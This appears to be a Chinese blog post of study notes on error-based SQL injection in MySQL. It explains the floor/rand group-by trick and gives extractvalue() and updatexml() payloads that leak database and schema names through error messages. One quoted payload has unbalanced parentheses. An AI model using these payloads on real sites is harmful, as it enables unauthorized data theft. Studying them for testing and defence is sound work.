SQL注入之【报错注入】

一、原理

1.1 使用位置

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息

限制:不能用group_concat(),只能用limit依次猜解

1.2 相关函数

floor()

1、floor()
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

经典语句:(菜鸡我不常用这条语句)
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

extractvalue() 与 updataxml()

2、extractvalue() 与 updataxml()

extractvalue()函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。


updataxml()函数解释:
第一个参数是目标是针对于xml文档
第二参数是xpath的表达
第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据


1' and extractvalue(null,concat(0x7e,(database()),0x7e))
1' and extractvalue(null,concat(0x7e,(select database()),0x7e))
1' and extractvalue(null,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))--+
1' and updatexml(1,concat(0x7e,(database())),1)--+
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)--+

在这里插入图片描述

在这里插入图片描述

写这些主要是记录些东西,不好勿怪哈!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值